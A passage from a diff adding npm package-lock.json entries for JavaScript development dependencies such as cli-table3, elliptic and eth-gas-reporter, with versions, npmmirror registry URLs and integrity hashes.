"sha512-qw5B31ANxSluWz9xBzklRWTUAJ1SXIdaVKTVS7HcTGKOAmExx65Wo5BUICW+YGORe2FOUaDghoI9ZDxj82QcFg==", + "dev": true, + "hasInstallScript": true, + "dependencies": { + "abstract-level": "^1.0.2", + "catering": "^2.1.0", + "module-error": "^1.0.1", + "napi-macros": "~2.0.0", + "node-gyp-build": "^4.3.0" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/clean-stack": { + "version": "2.2.0", + "resolved": "https://registry.npmmirror.com/clean-stack/-/clean-stack-2.2.0.tgz", + "integrity": "sha512-4diC9HaTE+KRAMWhDhrGOECgWZxoevMc5TlkObMqNSsVU62PYzXZ/SMTjzyGAFF1YusgxGcSWTEXBhp0CPwQ1A==", + "dev": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/cli-table3": { + "version": "0.5.1", + "resolved": "https://registry.npmmirror.com/cli-table3/-/cli-table3-0.5.1.tgz", + "integrity": "sha512-7Qg2Jrep1S/+Q3EceiZtQcDPWxhAvBw+ERf1162v4sikJrvojMHFqXt8QIVha8UlH9rgU0BeWPytZ9/TzYqlUw==", + "dev": true, + "peer": true, + "dependencies": { + "object-assign": "^4.1.0", + "string-width": "^2.1.1" + }, + "engines": { + "node": ">=6" + }, + "optionalDependencies": { + "colors": "^1.1.2" + } + }, + "node_modules/cli-table3/node_modules/ansi-regex": { + "version": "3.0.1", + "resolved": "https://registry.npmmirror.com/ansi-regex/-/ansi-regex-3.0.1.tgz", + "integrity": "sha512-+O9Jct8wf++lXxxFc4hc8LsjaSq0HFzzL7cVsw8pRDIPdjKD2mT4ytDZlLuSBZ4cLKZFXIrMGO7DbQCtMJJMKw==", + "dev": true, + "peer": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/cli-table3/node_modules/is-fullwidth-code-point": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/is-fullwidth-code-point/-/is-fullwidth-code-point-2.0.0.tgz", + "integrity": "sha512-VHskAKYM8RfSFXwee5t5cbN5PZeq1Wrh6qd5bkyiXIf6UQcN6w/A0eXM9r6t8d+GYOh+o6ZhiEnb88LN/Y8m2w==", + "dev": true, + "peer": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/cli-table3/node_modules/string-width": { + "version": "2.1.1", + "resolved": "https://registry.npmmirror.com/string-width/-/string-width-2.1.1.tgz", + "integrity": "sha512-nOqH59deCq9SRHlxq1Aw85Jnt4w6KvLKqWVik6oA9ZklXLNIOlqg4F2yrT1MVaTjAqvVwdfeZ7w7aCvJD7ugkw==", + "dev": true, + "peer": true, + "dependencies": { + "is-fullwidth-code-point": "^2.0.0", + "strip-ansi": "^4.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/cli-table3/node_modules/strip-ansi": { + "version": "4.0.0", + "resolved": "https://registry.npmmirror.com/strip-ansi/-/strip-ansi-4.0.0.tgz", + "integrity": "sha512-4XaJ2zQdCzROZDivEVIDPkcQn8LMFSa8kj8Gxb/Lnwzv9A8VctNZ+lfivC/sV3ivW8ElJTERXZoPBRrZKkNKow==", + "dev": true, + "peer": true, + "dependencies": { + "ansi-regex": "^3.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/cliui": { + "version": "7.0.4", + "resolved": "https://registry.npmmirror.com/cliui/-/cliui-7.0.4.tgz", + "integrity": "sha512-OcRE68cOsVMXp1Yvonl/fzkQOyjLSu/8bhPDfQt0e0/Eb283TKP20Fs2MqoPsr9SwA595rRCA+QMzYc9nBP+JQ==", + "dev": true, + "dependencies": { + "string-width": "^4.2.0", + "strip-ansi": "^6.0.0", + "wrap-ansi": "^7.0.0" + } + }, + "node_modules/color-convert": { + "version": "1.9.3", + "resolved": "https://registry.npmmirror.com/color-convert/-/color-convert-1.9.3.tgz", + "integrity": "sha512-QfAUtd+vFdAtFQcC8CCyYt1fYWxSqAiK2cSD6zDB8N3cpsEBAvRxp9zOGg6G/SHHJYAT88/az/IuDGALsNVbGg==", + "dev": true, + "dependencies": { + "color-name": "1.1.3" + } + }, + "node_modules/color-name": { + "version": "1.1.3", + "resolved": "https://registry.npmmirror.com/color-name/-/color-name-1.1.3.tgz", + "integrity": "sha512-72fSenhMw2HZMTVHeCA9KCmpEIbzWiQsjN+BHcBbS9vr1mtt+vJjPdksIBNUmKAW8TFUDPJK5SUU3QhE9NEXDw==", + "dev": true + }, + "node_modules/colors": { + "version": "1.4.0", + "resolved": "https://registry.npmmirror.com/colors/-/colors-1.4.0.tgz", + "integrity": "sha512-a+UqTh4kgZg/SlGvfbzDHpgRu7AAQOmmqRHJnxhRZICKFUT91brVhNNt58CMWU9PsBbv3PDCZUHbVxuDiH2mtA==", + "dev": true, + "peer": true, + "engines": { + "node": ">=0.1.90" + } + }, + "node_modules/combined-stream": { + "version": "1.0.8", + "resolved": "https://registry.npmmirror.com/combined-stream/-/combined-stream-1.0.8.tgz", + "integrity": "sha512-FQN4MRfuJeHf7cBbBMJFXhKSDq+2kAArBlmRBvcvFE5BB1HZKXtSFASDhdlz9zOYwxh8lDdnvmMOe/+5cdoEdg==", + "dev": true, + "peer": true, + "dependencies": { + "delayed-stream": "~1.0.0" + }, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/command-exists": { + "version": "1.2.9", + "resolved": "https://registry.npmmirror.com/command-exists/-/command-exists-1.2.9.tgz", + "integrity": "sha512-LTQ/SGc+s0Xc0Fu5WaKnR0YiygZkm9eKFvyS+fRsU7/ZWFF8ykFM6Pc9aCVf1+xasOOZpO3BAVgVrKvsqKHV7w==", + "dev": true + }, + "node_modules/command-line-args": { + "version": "5.2.1", + "resolved": "https://registry.npmmirror.com/command-line-args/-/command-line-args-5.2.1.tgz", + "integrity": "sha512-H4UfQhZyakIjC74I9d34fGYDwk3XpSr17QhEd0Q3I9Xq1CETHo4Hcuo87WyWHpAF1aSLjLRf5lD9ZGX2qStUvg==", + "dev": true, + "peer": true, + "dependencies": { + "array-back": "^3.1.0", + "find-replace": "^3.0.0", + "lodash.camelcase": "^4.3.0", + "typical": "^4.0.0" + }, + "engines": { + "node": ">=4.0.0" + } + }, + "node_modules/command-line-usage": { + "version": "6.1.3", + "resolved": "https://registry.npmmirror.com/command-line-usage/-/command-line-usage-6.1.3.tgz", + "integrity": "sha512-sH5ZSPr+7UStsloltmDh7Ce5fb8XPlHyoPzTpyyMuYCtervL65+ubVZ6Q61cFtFl62UyJlc8/JwERRbAFPUqgw==", + "dev": true, + "peer": true, + "dependencies": { + "array-back": "^4.0.2", + "chalk": "^2.4.2", + "table-layout": "^1.0.2", + "typical": "^5.2.0" + }, + "engines": { + "node": ">=8.0.0" + } + }, + "node_modules/command-line-usage/node_modules/array-back": { + "version": "4.0.2", + "resolved": "https://registry.npmmirror.com/array-back/-/array-back-4.0.2.tgz", + "integrity": "sha512-NbdMezxqf94cnNfWLL7V/im0Ub+Anbb0IoZhvzie8+4HJ4nMQuzHuy49FkGYCJK2yAloZ3meiB6AVMClbrI1vg==", + "dev": true, + "peer": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/command-line-usage/node_modules/typical": { + "version": "5.2.0", + "resolved": "https://registry.npmmirror.com/typical/-/typical-5.2.0.tgz", + "integrity": "sha512-dvdQgNDNJo+8B2uBQoqdb11eUCE1JQXhvjC/CZtgvZseVd5TYMXnq0+vuUemXbd/Se29cTaUuPX3YIc2xgbvIg==", + "dev": true, + "peer": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/commander": { + "version": "3.0.2", + "resolved": "https://registry.npmmirror.com/commander/-/commander-3.0.2.tgz", + "integrity": "sha512-Gar0ASD4BDyKC4hl4DwHqDrmvjoxWKZigVnAbn5H1owvm4CxCPdb0HQDehwNYMJpla5+M2tPmPARzhtYuwpHow==", + "dev": true + }, + "node_modules/concat-map": { + "version": "0.0.1", + "resolved": "https://registry.npmmirror.com/concat-map/-/concat-map-0.0.1.tgz", + "integrity": "sha512-/Srv4dswyQNBfohGpz9o6Yb3Gz3SrUDqBH5rTuhGR7ahtlbYKnVxw2bCFMRljaA7EXHaXZ8wsHdodFvbkhKmqg==", + "dev": true + }, + "node_modules/concat-stream": { + "version": "1.6.2", + "resolved": "https://registry.npmmirror.com/concat-stream/-/concat-stream-1.6.2.tgz", + "integrity": "sha512-27HBghJxjiZtIk3Ycvn/4kbJk/1uZuJFfuPEns6LaEvpvG1f0hTea8lilrouyo9mVc2GWdcEZ8OLoGmSADlrCw==", + "dev": true, + "engines": [ + "node >= 0.8" + ], + "peer": true, + "dependencies": { + "buffer-from": "^1.0.0", + "inherits": "^2.0.3", + "readable-stream": "^2.2.2", + "typedarray": "^0.0.6" + } + }, + "node_modules/concat-stream/node_modules/readable-stream": { + "version": "2.3.7", + "resolved": "https://registry.npmmirror.com/readable-stream/-/readable-stream-2.3.7.tgz", + "integrity": "sha512-Ebho8K4jIbHAxnuxi7o42OrZgF/ZTNcsZj6nRKyUmkhLFq8CHItp/fy6hQZuZmP/n3yZ9VBUbp4zz/mX8hmYPw==", + "dev": true, + "peer": true, + "dependencies": { + "core-util-is": "~1.0.0", + "inherits": "~2.0.3", + "isarray": "~1.0.0", + "process-nextick-args": "~2.0.0", + "safe-buffer": "~5.1.1", + "string_decoder": "~1.1.1", + "util-deprecate": "~1.0.1" + } + }, + "node_modules/concat-stream/node_modules/safe-buffer": { + "version": "5.1.2", + "resolved": "https://registry.npmmirror.com/safe-buffer/-/safe-buffer-5.1.2.tgz", + "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==", + "dev": true, + "peer": true + }, + "node_modules/concat-stream/node_modules/string_decoder": { + "version": "1.1.1", + "resolved": "https://registry.npmmirror.com/string_decoder/-/string_decoder-1.1.1.tgz", + "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", + "dev": true, + "peer": true, + "dependencies": { + "safe-buffer": "~5.1.0" + } + }, + "node_modules/cookie": { + "version": "0.4.2", + "resolved": "https://registry.npmmirror.com/cookie/-/cookie-0.4.2.tgz", + "integrity": "sha512-aSWTXFzaKWkvHO1Ny/s+ePFpvKsPnjc551iI41v3ny/ow6tBG5Vd+FuqGNhh1LxOmVzOlGUriIlOaokOvhaStA==", + "dev": true, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/core-util-is": { + "version": "1.0.2", + "resolved": "https://registry.npmmirror.com/core-util-is/-/core-util-is-1.0.2.tgz", + "integrity": "sha512-3lqz5YjWTYnW6dlDa5TLaTCcShfar1e40rmcJVwCBJC6mWlFuj0eCHIElmG1g5kyuJ/GD+8Wn4FFCcz4gJPfaQ==", + "dev": true, + "peer": true + }, + "node_modules/crc-32": { + "version": "1.2.2", + "resolved": "https://registry.npmmirror.com/crc-32/-/crc-32-1.2.2.tgz", + "integrity": "sha512-ROmzCKrTnOwybPcJApAA6WBWij23HVfGVNKqqrZpuyZOHqK2CwHSvpGuyt/UNNvaIjEd8X5IFGp4Mh+Ie1IHJQ==", + "dev": true, + "bin": { + "crc32": "bin/crc32.njs" + }, + "engines": { + "node": ">=0.8" + } + }, + "node_modules/create-hash": { + "version": "1.2.0", + "resolved": "https://registry.npmmirror.com/create-hash/-/create-hash-1.2.0.tgz", + "integrity": "sha512-z00bCGNHDG8mHAkP7CtT1qVu+bFQUPjYq/4Iv3C3kWjTFV10zIjfSoeqXo9Asws8gwSHDGj/hl2u4OGIjapeCg==", + "dev": true, + "dependencies": { + "cipher-base": "^1.0.1", + "inherits": "^2.0.1", + "md5.js": "^1.3.4", + "ripemd160": "^2.0.1", + "sha.js": "^2.4.0" + } + }, + "node_modules/create-hmac": { + "version": "1.1.7", + "resolved": "https://registry.npmmirror.com/create-hmac/-/create-hmac-1.1.7.tgz", + "integrity": "sha512-MJG9liiZ+ogc4TzUwuvbER1JRdgvUFSB5+VR/g5h82fGaIRWMWddtKBHi7/sVhfjQZ6SehlyhvQYrcYkaUIpLg==", + "dev": true, + "dependencies": { + "cipher-base": "^1.0.3", + "create-hash": "^1.1.0", + "inherits": "^2.0.1", + "ripemd160": "^2.0.0", + "safe-buffer": "^5.0.1", + "sha.js": "^2.4.8" + } + }, + "node_modules/create-require": { + "version": "1.1.1", + "resolved": "https://registry.npmmirror.com/create-require/-/create-require-1.1.1.tgz", + "integrity": "sha512-dcKFX3jn0MpIaXjisoRvexIJVEKzaq7z2rZKxf+MSr9TkdmHmsU4m2lcLojrj/FHl8mk5VxMmYA+ftRkP/3oKQ==", + "dev": true, + "peer": true + }, + "node_modules/crypt": { + "version": "0.0.2", + "resolved": "https://registry.npmmirror.com/crypt/-/crypt-0.0.2.tgz", + "integrity": "sha512-mCxBlsHFYh9C+HVpiEacem8FEBnMXgU9gy4zmNC+SXAZNB/1idgp/aulFJ4FgCi7GPEVbfyng092GqL2k2rmow==", + "dev": true, + "peer": true, + "engines": { + "node": "*" + } + }, + "node_modules/dashdash": { + "version": "1.14.1", + "resolved": "https://registry.npmmirror.com/dashdash/-/dashdash-1.14.1.tgz", + "integrity": "sha512-jRFi8UDGo6j+odZiEpjazZaWqEal3w/basFjQHQEwVtZJGDpxbH1MeYluwCS8Xq5wmLJooDlMgvVarmWfGM44g==", + "dev": true, + "peer": true, + "dependencies": { + "assert-plus": "^1.0.0" + }, + "engines": { + "node": ">=0.10" + } + }, + "node_modules/death": { + "version": "1.1.0", + "resolved": "https://registry.npmmirror.com/death/-/death-1.1.0.tgz", + "integrity": "sha512-vsV6S4KVHvTGxbEcij7hkWRv0It+sGGWVOM67dQde/o5Xjnr+KmLjxWJii2uEObIrt1CcM9w0Yaovx+iOlIL+w==", + "dev": true, + "peer": true + }, + "node_modules/debug": { + "version": "4.3.4", + "resolved": "https://registry.npmmirror.com/debug/-/debug-4.3.4.tgz", + "integrity": "sha512-PRWFHuSU3eDtQJPvnNY7Jcket1j0t5OuOsFzPPzsekD52Zl8qUfFIPEiswXqIvHWGVHOgX+7G/vCNNhehwxfkQ==", + "dev": true, + "dependencies": { + "ms": "2.1.2" + }, + "engines": { + "node": ">=6.0" + }, + "peerDependenciesMeta": { + "supports-color": { + "optional": true + } + } + }, + "node_modules/decamelize": { + "version": "4.0.0", + "resolved": "https://registry.npmmirror.com/decamelize/-/decamelize-4.0.0.tgz", + "integrity": "sha512-9iE1PgSik9HeIIw2JO94IidnE3eBoQrFJ3w7sFuzSX4DpmZ3v5sZpUiV5Swcf6mQEF+Y0ru8Neo+p+nyh2J+hQ==", + "dev": true, + "engines": { + "node": ">=10" + } + }, + "node_modules/deep-eql": { + "version": "4.1.1", + "resolved": "https://registry.npmmirror.com/deep-eql/-/deep-eql-4.1.1.tgz", + "integrity": "sha512-rc6HkZswtl+KMi/IODZ8k7C/P37clC2Rf1HYI11GqdbgvggIyHjsU5MdjlTlaP6eu24c0sR3mcW2SqsVZ1sXUw==", + "dev": true, + "peer": true, + "dependencies": { + "type-detect": "^4.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/deep-extend": { + "version": "0.6.0", + "resolved": "https://registry.npmmirror.com/deep-extend/-/deep-extend-0.6.0.tgz", + "integrity": "sha512-LOHxIOaPYdHlJRtCQfDIVZtfw/ufM8+rVj649RIHzcm/vGwQRXFt6OPqIFWsm2XEMrNIEtWR64sY1LEKD2vAOA==", + "dev": true, + "peer": true, + "engines": { + "node": ">=4.0.0" + } + }, + "node_modules/deep-is": { + "version": "0.1.4", + "resolved": "https://registry.npmmirror.com/deep-is/-/deep-is-0.1.4.tgz", + "integrity": "sha512-oIPzksmTg4/MriiaYGO+okXDT7ztn/w3Eptv/+gSIdMdKsJo0u4CfYNFJPy+4SKMuCqGw2wxnA+URMg3t8a/bQ==", + "dev": true, + "peer": true + }, + "node_modules/define-properties": { + "version": "1.1.4", + "resolved": "https://registry.npmmirror.com/define-properties/-/define-properties-1.1.4.tgz", + "integrity": "sha512-uckOqKcfaVvtBdsVkdPv3XjveQJsNQqmhXgRi8uhvWWuPYZCNlzT8qAyblUgNoXdHdjMTzAqeGjAoli8f+bzPA==", + "dev": true, + "peer": true, + "dependencies": { + "has-property-descriptors": "^1.0.0", + "object-keys": "^1.1.1" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/delayed-stream": { + "version": "1.0.0", + "resolved": "https://registry.npmmirror.com/delayed-stream/-/delayed-stream-1.0.0.tgz", + "integrity": "sha512-ZySD7Nf91aLB0RxL4KGrKHBXl7Eds1DAmEdcoVawXnLD7SDhpNgtuII2aAkg7a7QS41jxPSZ17p4VdGnMHk3MQ==", + "dev": true, + "peer": true, + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/depd": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/depd/-/depd-2.0.0.tgz", + "integrity": "sha512-g7nH6P6dyDioJogAAGprGpCtVImJhpPk/roCzdb3fIh61/s/nPsfR6onyMwkCAR/OlC3yBC0lESvUoQEAssIrw==", + "dev": true, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/detect-port": { + "version": "1.5.1", + "resolved": "https://registry.npmmirror.com/detect-port/-/detect-port-1.5.1.tgz", + "integrity": "sha512-aBzdj76lueB6uUst5iAs7+0H/oOjqI5D16XUWxlWMIMROhcM0rfsNVk93zTngq1dDNpoXRr++Sus7ETAExppAQ==", + "dev": true, + "peer": true, + "dependencies": { + "address": "^1.0.1", + "debug": "4" + }, + "bin": { + "detect": "bin/detect-port.js", + "detect-port": "bin/detect-port.js" + } + }, + "node_modules/diff": { + "version": "5.0.0", + "resolved": "https://registry.npmmirror.com/diff/-/diff-5.0.0.tgz", + "integrity": "sha512-/VTCrvm5Z0JGty/BWHljh+BAiw3IK+2j87NGMu8Nwc/f48WoDAC395uomO9ZD117ZOBaHmkX1oyLvkVM/aIT3w==", + "dev": true, + "engines": { + "node": ">=0.3.1" + } + }, + "node_modules/difflib": { + "version": "0.2.4", + "resolved": "https://registry.npmmirror.com/difflib/-/difflib-0.2.4.tgz", + "integrity": "sha512-9YVwmMb0wQHQNr5J9m6BSj6fk4pfGITGQOOs+D9Fl+INODWFOfvhIU1hNv6GgR1RBoC/9NJcwu77zShxV0kT7w==", + "dev": true, + "peer": true, + "dependencies": { + "heap": ">= 0.2.0" + }, + "engines": { + "node": "*" + } + }, + "node_modules/dir-glob": { + "version": "3.0.1", + "resolved": "https://registry.npmmirror.com/dir-glob/-/dir-glob-3.0.1.tgz", + "integrity": "sha512-WkrWp9GR4KXfKGYzOLmTuGVi1UWFfws377n9cc55/tb6DuqyF6pcQ5AbiHEshaDpY9v6oaSr2XCDidGmMwdzIA==", + "dev": true, + "peer": true, + "dependencies": { + "path-type": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/ecc-jsbn": { + "version": "0.1.2", + "resolved": "https://registry.npmmirror.com/ecc-jsbn/-/ecc-jsbn-0.1.2.tgz", + "integrity": "sha512-eh9O+hwRHNbG4BLTjEl3nw044CkGm5X6LoaCf7LPp7UU8Qrt47JYNi6nPX8xjW97TKGKm1ouctg0QSpZe9qrnw==", + "dev": true, + "peer": true, + "dependencies": { + "jsbn": "~0.1.0", + "safer-buffer": "^2.1.0" + } + }, + "node_modules/elliptic": { + "version": "6.5.4", + "resolved": "https://registry.npmmirror.com/elliptic/-/elliptic-6.5.4.tgz", + "integrity": "sha512-iLhC6ULemrljPZb+QutR5TQGB+pdW6KGD5RSegS+8sorOZT+rdQFbsQFJgvN3eRqNALqJer4oQ16YvJHlU8hzQ==", + "dev": true, + "dependencies": { + "bn.js": "^4.11.9", + "brorand": "^1.1.0", + "hash.js": "^1.0.0", + "hmac-drbg": "^1.0.1", + "inherits": "^2.0.4", + "minimalistic-assert": "^1.0.1", + "minimalistic-crypto-utils": "^1.0.1" + } + }, + "node_modules/elliptic/node_modules/bn.js": { + "version": "4.12.0", + "resolved": "https://registry.npmmirror.com/bn.js/-/bn.js-4.12.0.tgz", + "integrity": "sha512-c98Bf3tPniI+scsdk237ku1Dc3ujXQTSgyiPUDEOe7tRkhrqridvh8klBv0HCEso1OLOYcHuCv/cS6DNxKH+ZA==", + "dev": true + }, + "node_modules/emoji-regex": { + "version": "8.0.0", + "resolved": "https://registry.npmmirror.com/emoji-regex/-/emoji-regex-8.0.0.tgz", + "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==", + "dev": true + }, + "node_modules/enquirer": { + "version": "2.3.6", + "resolved": "https://registry.npmmirror.com/enquirer/-/enquirer-2.3.6.tgz", + "integrity": "sha512-yjNnPr315/FjS4zIsUxYguYUPP2e1NK4d7E7ZOLiyYCcbFBiTMyID+2wvm2w6+pZ/odMA7cRkjhsPbltwBOrLg==", + "dev": true, + "dependencies": { + "ansi-colors": "^4.1.1" + }, + "engines": { + "node": ">=8.6" + } + }, + "node_modules/env-paths": { + "version": "2.2.1", + "resolved": "https://registry.npmmirror.com/env-paths/-/env-paths-2.2.1.tgz", + "integrity": "sha512-+h1lkLKhZMTYjog1VEpJNG7NZJWcuc2DDk/qsqSTRRCOXiLjeQ1d1/udrUGhqMxUgAlwKNZ0cf2uqan5GLuS2A==", + "dev": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/es-abstract": { + "version": "1.20.3", + "resolved": "https://registry.npmmirror.com/es-abstract/-/es-abstract-1.20.3.tgz", + "integrity": "sha512-AyrnaKVpMzljIdwjzrj+LxGmj8ik2LckwXacHqrJJ/jxz6dDDBcZ7I7nlHM0FvEW8MfbWJwOd+yT2XzYW49Frw==", + "dev": true, + "peer": true, + "dependencies": { + "call-bind": "^1.0.2", + "es-to-primitive": "^1.2.1", + "function-bind": "^1.1.1", + "function.prototype.name": "^1.1.5", + "get-intrinsic": "^1.1.3", + "get-symbol-description": "^1.0.0", + "has": "^1.0.3", + "has-property-descriptors": "^1.0.0", + "has-symbols": "^1.0.3", + "internal-slot": "^1.0.3", + "is-callable": "^1.2.6", + "is-negative-zero": "^2.0.2", + "is-regex": "^1.1.4", + "is-shared-array-buffer": "^1.0.2", + "is-string": "^1.0.7", + "is-weakref": "^1.0.2", + "object-inspect": "^1.12.2", + "object-keys": "^1.1.1", + "object.assign": "^4.1.4", + "regexp.prototype.flags": "^1.4.3", + "safe-regex-test": "^1.0.0", + "string.prototype.trimend": "^1.0.5", + "string.prototype.trimstart": "^1.0.5", + "unbox-primitive": "^1.0.2" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/es-abstract/node_modules/object.assign": { + "version": "4.1.4", + "resolved": "https://registry.npmmirror.com/object.assign/-/object.assign-4.1.4.tgz", + "integrity": "sha512-1mxKf0e58bvyjSCtKYY4sRe9itRk3PJpquJOjeIkz885CczcI4IvJJDLPS72oowuSh+pBxUFROpX+TU++hxhZQ==", + "dev": true, + "peer": true, + "dependencies": { + "call-bind": "^1.0.2", + "define-properties": "^1.1.4", + "has-symbols": "^1.0.3", + "object-keys": "^1.1.1" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/es-array-method-boxes-properly": { + "version": "1.0.0", + "resolved": "https://registry.npmmirror.com/es-array-method-boxes-properly/-/es-array-method-boxes-properly-1.0.0.tgz", + "integrity": "sha512-wd6JXUmyHmt8T5a2xreUwKcGPq6f1f+WwIJkijUqiGcJz1qqnZgP6XIK+QyIWU5lT7imeNxUll48bziG+TSYcA==", + "dev": true, + "peer": true + }, + "node_modules/es-to-primitive": { + "version": "1.2.1", + "resolved": "https://registry.npmmirror.com/es-to-primitive/-/es-to-primitive-1.2.1.tgz", + "integrity": "sha512-QCOllgZJtaUo9miYBcLChTUaHNjJF3PYs1VidD7AwiEj1kYxKeQTctLAezAOH5ZKRH0g2IgPn6KwB4IT8iRpvA==", + "dev": true, + "peer": true, + "dependencies": { + "is-callable": "^1.1.4", + "is-date-object": "^1.0.1", + "is-symbol": "^1.0.2" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/escalade": { + "version": "3.1.1", + "resolved": "https://registry.npmmirror.com/escalade/-/escalade-3.1.1.tgz", + "integrity": "sha512-k0er2gUkLf8O0zKJiAhmkTnJlTvINGv7ygDNPbeIsX/TJjGJZHuh9B2UxbsaEkmlEo9MfhrSzmhIlhRlI2GXnw==", + "dev": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/escape-string-regexp": { + "version": "1.0.5", + "resolved": "https://registry.npmmirror.com/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz", + "integrity": "sha512-vbRorB5FUQWvla16U8R/qgaFIya2qGzwDrNmCZuYKrbdSUMG6I1ZCGQRefkRVhuOkIGVne7BQ35DSfo1qvJqFg==", + "dev": true, + "engines": { + "node": ">=0.8.0" + } + }, + "node_modules/escodegen": { + "version": "1.8.1", + "resolved": "https://registry.npmmirror.com/escodegen/-/escodegen-1.8.1.tgz", + "integrity": "sha512-yhi5S+mNTOuRvyW4gWlg5W1byMaQGWWSYHXsuFZ7GBo7tpyOwi2EdzMP/QWxh9hwkD2m+wDVHJsxhRIj+v/b/A==", + "dev": true, + "peer": true, + "dependencies": { + "esprima": "^2.7.1", + "estraverse": "^1.9.1", + "esutils": "^2.0.2", + "optionator": "^0.8.1" + }, + "bin": { + "escodegen": "bin/escodegen.js", + "esgenerate": "bin/esgenerate.js" + }, + "engines": { + "node": ">=0.12.0" + }, + "optionalDependencies": { + "source-map": "~0.2.0" + } + }, + "node_modules/escodegen/node_modules/source-map": { + "version": "0.2.0", + "resolved": "https://registry.npmmirror.com/source-map/-/source-map-0.2.0.tgz", + "integrity": "sha512-CBdZ2oa/BHhS4xj5DlhjWNHcan57/5YuvfdLf17iVmIpd9KRm+DFLmC6nBNj+6Ua7Kt3TmOjDpQT1aTYOQtoUA==", + "dev": true, + "optional": true, + "peer": true, + "dependencies": { + "amdefine": ">=0.0.4" + }, + "engines": { + "node": ">=0.8.0" + } + }, + "node_modules/esprima": { + "version": "2.7.3", + "resolved": "https://registry.npmmirror.com/esprima/-/esprima-2.7.3.tgz", + "integrity": "sha512-OarPfz0lFCiW4/AV2Oy1Rp9qu0iusTKqykwTspGCZtPxmF81JR4MmIebvF1F9+UOKth2ZubLQ4XGGaU+hSn99A==", + "dev": true, + "peer": true, + "bin": { + "esparse": "bin/esparse.js", + "esvalidate": "bin/esvalidate.js" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/estraverse": { + "version": "1.9.3", + "resolved": "https://registry.npmmirror.com/estraverse/-/estraverse-1.9.3.tgz", + "integrity": "sha512-25w1fMXQrGdoquWnScXZGckOv+Wes+JDnuN/+7ex3SauFRS72r2lFDec0EKPt2YD1wUJ/IrfEex+9yp4hfSOJA==", + "dev": true, + "peer": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/esutils": { + "version": "2.0.3", + "resolved": "https://registry.npmmirror.com/esutils/-/esutils-2.0.3.tgz", + "integrity": "sha512-kVscqXk4OCp68SZ0dkgEKVi6/8ij300KBWTJq32P/dYeWTSwK41WyTxalN1eRmA5Z9UU/LX9D7FWSmV9SAYx6g==", + "dev": true, + "peer": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/eth-gas-reporter": { + "version": "0.2.25", + "resolved": "https://registry.npmmirror.com/eth-gas-reporter/-/eth-gas-reporter-0.2.25.tgz", + "integrity": "sha512-1fRgyE4xUB8SoqLgN3eDfpDfwEfRxh2Sz1b7wzFbyQA+9TekMmvSjjoRu9SKcSVyK+vLkLIsVbJDsTWjw195OQ==", + "dev": true, + "peer": true, + "dependencies": { + "@ethersproject/abi": "^5.0.0-beta.146", + "@solidity-parser/parser": "^0.14.0", + "cli-table3": "^0.5.0", + "colors": "1.4.0", + "ethereum-cryptography": "^1.0.3", + "ethers": "^4.0.40", + "fs-readdir-recursive": "^1.1.0", + "lodash": "^4.17.14", + "markdown-table": "^1.1.3", + "mocha": "^7.1.1", + "req-cwd": "^2.0.0", + "request": "^2.88.0", + "request-promise-native": "^1.0.5", + "sha1": "^1.1.1", + "sync-request": "^6.0.0" + }, + "peerDependencies": { + "@codechecks/client": "^0.1.0" + }, + "peerDependenciesMeta": { + "@codechecks/client": { + "optional": true + } + } + }, + "node_modules/eth-gas-reporter/node_modules/ansi-colors": { + "version": "3.2.3", + "resolved": "https://registry.npmmirror.com/ansi-colors/-/ansi-colors-3.2.3.tgz", + "integrity": "sha512-LEHHyuhlPY3TmuUYMh2oz89lTShfvgbmzaBcxve9t/9Wuy7Dwf4yoAKcND7KFT1HAQfqZ12qtc+DUrBMeKF9nw==", + "dev": true, + "peer": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/eth-gas-reporter/node_modules/ansi-regex": { + "version": "4.1.1", + "resolved": "https://registry.npmmirror.com/ansi-regex/-/ansi-regex-4.1.1.tgz", + "integrity": "sha512-ILlv4k/3f6vfQ4OoP2AGvirOktlQ98ZEL1k9FaQjxa3L1abBgbuTDAdPOpvbGncC0BTVQrl+OM8xZGK6tWXt7g==", + "dev": true, + "peer": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/eth-gas-reporter/node_modules/argparse": { + "version": "1.0.10", + "resolved": "https://registry.npmmirror.com/argparse/-/argparse-1.0.10.tgz", + "integrity": "sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg==", + "dev": true, + "peer": true, + "dependencies": { + "sprintf-js": "~1.0.2" + } + }, + "node_modules/eth-gas-reporter/node_modules/bn.js": { + "version": "4.12.0", + "resolved": 